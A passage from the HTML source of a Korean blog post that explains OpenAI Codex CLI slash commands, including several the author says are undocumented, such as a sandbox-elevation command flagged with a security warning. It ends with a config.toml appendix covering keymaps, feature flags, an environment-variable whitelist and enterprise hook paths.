&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PnmMd/dJMcadaUUGF/EJRkOud80pzdgWimkdkKEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PnmMd/dJMcadaUUGF/EJRkOud80pzdgWimkdkKEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PnmMd/dJMcadaUUGF/EJRkOud80pzdgWimkdkKEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPnmMd%2FdJMcadaUUGF%2FEJRkOud80pzdgWimkdkKEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;406&quot; height=&quot;112&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/ps &amp;mdash; 백그라운드 터미널 목록 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;[게이트: features.unified_exec = true]&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 띄워 둔 백그라운드 셸 프로세스를 보여준다. 빌드&amp;middot;서버처럼 길게 도는 작업이 어떤 상태인지 한눈에 본다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;unified_exec&lt;/code&gt; 플래그가 켜져 있어야 활성화된다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/ps&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 백그라운드 에이전트 상태 추적.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvz0KO/dJMcabc7ZrM/JyxlvgNh7HvGZ5KeA2Kj2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvz0KO/dJMcabc7ZrM/JyxlvgNh7HvGZ5KeA2Kj2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvz0KO/dJMcabc7ZrM/JyxlvgNh7HvGZ5KeA2Kj2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvz0KO%2FdJMcabc7ZrM%2FJyxlvgNh7HvGZ5KeA2Kj2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;338&quot; height=&quot;146&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/stop &amp;mdash; 백그라운드 터미널 중지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백그라운드에서 돌고 있는 터미널을 일괄 중지한다. 빌드가 폭주하거나 무한 루프에 빠진 프로세스를 한 번에 정리할 때 쓴다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/ps&lt;/code&gt;와 마찬가지로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;features.unified_exec&lt;/code&gt;이 켜진 환경에서 의미를 갖는다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/stop&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 비용 급증&amp;middot;잘못된 대량 수정 조짐 시 즉시 중단하는 안전 스위치. 망설이지 말고 먼저 멈출 것.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 9 ===== --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 공식 미등재 명령 (8개)&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ 공식 문서 미등재 항목&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 섹션의 명령들은 소스 코드(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-rs/tui/src/slash_command.rs&lt;/code&gt;)나 릴리즈 노트에서 확인됐으나 공식 slash-commands 페이지에는 등재되어 있지 않다. &lt;br /&gt;동작과 인터페이스는 버전마다 달라질 수 있으므로 자신의 설치 버전에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/debug-config&lt;/code&gt;로 먼저 확인하기를 권장한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/rename &amp;mdash; 스레드 이름 변경 [공식 문서 미등재]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 TUI 스레드의 이름을 변경한다. 여러 스레드를 동시에 운영할 때 각 스레드를 프로젝트명이나 작업 목적에 맞춰 구분하는 데 유용하다. 소스 코드 enum에서만 확인됐다.&lt;/p&gt;
&lt;pre class=&quot;coq&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/rename&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 세션 이름을 이력 검색 친화적으로 바꿀 때.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/raw &amp;mdash; 원시 스크롤백 토글 [공식 문서 미등재] &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(v0.129.0~)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크롤백 렌더링을 원시(raw) 텍스트와 서식 적용 사이에서 토글한다. v0.129.0 릴리즈 노트에서 확인됐다. ANSI 코드가 섞여 출력이 깨질 때 한 번 눌러보면 원인을 가린다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/raw&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 로그&amp;middot;JSON&amp;middot;에러 원문 전달 시 유용. 민감 정보 마스킹 후 전송하는 원칙 준수.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/skills &amp;mdash; 설치된 스킬 보기 [공식 문서 미등재]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 스킬 목록을 TUI에서 탐색한다. Part 6에서 스킬 config 설정을 다루었지만 슬래시 명령 자체는 공식 docs에 없다. 스킬이 제대로 로드됐는지 빠르게 확인할 때 시도해본다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/skills&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 사용 가능 스킬 목록 확인 후 전략 짤 때.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/approve &amp;mdash; 자동 리뷰 승인 [공식 문서 미등재] &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(v0.129.0~)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.129.0에서 구 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/autoreview&lt;/code&gt;가 이 이름으로 바뀌었고 동시에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/approvals&lt;/code&gt;가 popup에서 빠졌다. 자동 리뷰 재시도 흐름을 명시 승인할 때 사용한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/approve&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 보안 경계 넘는 실행을 명시 승인. 명령 목적&amp;middot;영향 파일&amp;middot;롤백 가능성을 체크한 뒤 승인.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/realtime &amp;mdash; 실시간 음성 모드 [공식 문서 미등재]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오디오 디바이스와 실시간 음성 입력 관련 실험 기능이다. 하드웨어 의존이 커서 이 글에서는 핸즈온을 다루지 않는다. 자신의 환경에서 feature 플래그를 켠 뒤 직접 확인하기를 권장한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/realtime&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 디버깅 대화형 탐색에 적합. 장문 생성보다 빠른 피드백 루프가 필요한 탐색 초반에 유용.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/settings &amp;mdash; 기본 동작 일괄 조정 [공식 문서 미등재]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선호 옵션을 한 화면에서 묶어 조정하는 진입점이다. 소스 코드에서만 확인되고 공식 docs에는 없다. 동작 범위가 버전에 따라 다를 수 있으므로 적용 후 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/debug-config&lt;/code&gt;로 결과를 확인한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/settings&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 팀 공통 프로필(모델&amp;middot;승인정책&amp;middot;출력 스타일)을 템플릿화해 신규 멤버 온보딩에 활용 가능.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/collab &amp;mdash; 협업 모드 [공식 문서 미등재]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;collaboration_modes_enabled&lt;/code&gt; 플래그로 게이트된 명령이다. UX 문서가 없어 동작 세부는 직접 확인이 필요하다. 새 키 후보는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;multi_agent&lt;/code&gt;로 옮겨질 가능성이 있다(부록 A 마이그레이션 표 참고).&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/collab&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 협업 세션에서 역할 분담&amp;middot;동기화. 파일 오너십을 먼저 나눠 역할 충돌을 방지할 것.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/setup-default-sandbox &amp;mdash; 기본 샌드박스 상승 [공식 문서 미등재]&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ 보안 경고&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 명령은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;allow_elevate_sandbox&lt;/code&gt; 플래그로 게이트되어 있으며, 실행하면 기본 샌드박스 수준이 상승한다. Codex가 더 넓은 파일시스템&amp;middot;네트워크 범위에 접근할 수 있게 된다는 의미다. 소스 코드에서만 확인됐고 공식 docs 미등재다. 대부분의 개발자에게 필요한 상황은 드물다. 꼭 필요한 경우가 아니라면 기본 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode&lt;/code&gt;를 유지하는 것을 권장한다.&lt;/div&gt;
&lt;pre class=&quot;arduino&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/setup-default-sandbox&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 반복 작업용 기본 샌드박스 정책 고정.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 10 부록 A ===== --&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 부록 A &amp;mdash; config.toml 키 사전&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슬래시 명령으로 잠깐 토글한 항목을 영구 적용할 때, 또는 팀 전체가 같은 기본값을 공유할 때 config.toml을 편집한다. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 config-basic 문서&lt;/a&gt;에 등재된 키 중 Part 1~9에서 다루지 않았거나 자주 묻는 것들을 모았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.1 [tui.keymap.*] &amp;mdash; TUI 키맵 재정의 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(v0.128.0~)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[tui.keymap.global]&lt;/code&gt;은 전체 TUI 단축키, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[tui.keymap.composer]&lt;/code&gt;는 composer 특화 단축키를 재정의한다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/keymap&lt;/code&gt;으로 임시 변경, config.toml로 영구 저장한다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; TUI 키맵 재정의 (v0.128.0~)
    [tui.keymap.global]
    open_transcript = &quot;ctrl-t&quot;
    
    [tui.keymap.composer]
    submit = [&quot;enter&quot;, &quot;ctrl-m&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 16px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 16px 0;&quot;&gt;&lt;b&gt;한글로 이해하기&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;submit = [&quot;enter&quot;, &quot;ctrl-m&quot;]&lt;/code&gt;은 Enter와 Ctrl+M 어느 쪽을 눌러도 메시지가 전송된다는 뜻이다. 배열로 여러 키를 동시에 바인딩한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.2 personality &amp;middot; log_dir &amp;middot; animations &amp;middot; web_search&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; 자주 묻는 최상위 키
    personality = &quot;pragmatic&quot;       # friendly | pragmatic | none
    log_dir = &quot;/tmp/codex-logs&quot;     # 로그 위치 재정의 (CI&amp;middot;디버깅)
    animations = false              # TUI 애니메이션 비활성화 (v0.129.0~)
    web_search = &quot;cached&quot;           # cached | live | disabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;animations = false&lt;/code&gt;는 v0.129.0에서 추가된 접근성 옵션이다. 스크린 리더 사용이나 저사양 터미널에서 유용하다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search&lt;/code&gt;는 기존 두 개의 [features] 하위 키(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_request&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;web_search_cached&lt;/code&gt;)를 단일 최상위 키로 통합한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.3 [features] 테이블&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; [features] 테이블 자주 쓰는 키
    [features]
    undo            = true    # 턴별 git 스냅샷
    memories        = true    # 메모리 저장소 (v0.129.0~ Memories MCP v1)
    shell_snapshot  = true    # 셸 상태 스냅샷
    unified_exec    = true    # 백그라운드 터미널 &amp;mdash; /ps, /stop 활성화
    apps            = true    # 앱&amp;middot;커넥터. 기본 ON인 버전도 있으므로 필요 시에만 명시
    goals           = true    # /goal 활성화
    terminal_resize_reflow = true   # 터미널 크기 변경 시 스크롤백 재구성 (기본 ON)
    prevent_idle_sleep     = false  # 장시간 작업 절전 방지 (macOS/Windows)
    
    # ⚠️ EXPERIMENTAL &amp;mdash; 공유 저장소에서 활성화 금지
    codex_git_commit = false  # Codex가 git 커밋 자동 작성 (v0.129.0~)&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ codex_git_commit 활성화 전 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Codex가 직접 git 커밋을 작성하는 실험 기능이다. &lt;b&gt;공유 저장소에서는 활성화하지 않는 것을 강력히 권장한다.&lt;/b&gt; 자동 생성된 커밋이 의도하지 않은 변경을 남길 수 있다. 개인 저장소에서 켜더라도 push 직전 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git log --oneline -5&lt;/code&gt;로 검토하는 루틴을 더해 두면 안전하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.4 [shell_environment_policy] &amp;mdash; 환경 변수 화이트리스트&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; 셸에 전달할 환경 변수만 화이트리스트
    [shell_environment_policy]
    include_only = [&quot;PATH&quot;, &quot;HOME&quot;, &quot;LANG&quot;, &quot;TERM&quot;]
    # OPENAI_API_KEY 등 민감 변수는 이 목록 밖으로 격리된다&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안이 중요한 공유 환경이나 CI에서는 적극 활용한다. 허용 범위를 좁힐수록 의도치 않은 정보 노출 표면이 줄어든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;A.5 [hooks] managed_dir &amp;mdash; 엔터프라이즈 훅 경로&lt;/h3&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# config.toml &amp;mdash; 엔터프라이즈 훅 경로
    [hooks]
    managed_dir = &quot;/enterprise/hooks&quot;
    windows_managed_dir = 'C:\enterprise\hooks'
    
    [[hooks.PreToolUse]]
    matcher = &quot;^Bash$&quot;
    
    [[hooks.PreToolUse.hooks]]
    type    = &quot;command&quot;
    command = &quot;python3 /enterprise/hooks/pre_tool_use_policy.py&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex가 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;managed_dir&lt;/code&gt; 안의 스크립트를 직접 배포하지 않는다. 스크립트 설치&amp;middot;업데이트는 조직의 엔터프라이즈 툴링이 담당해야 한다. 훅 이벤트는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;PreToolUse&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;PostToolUse&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;UserPromptSubmit&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Stop&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; 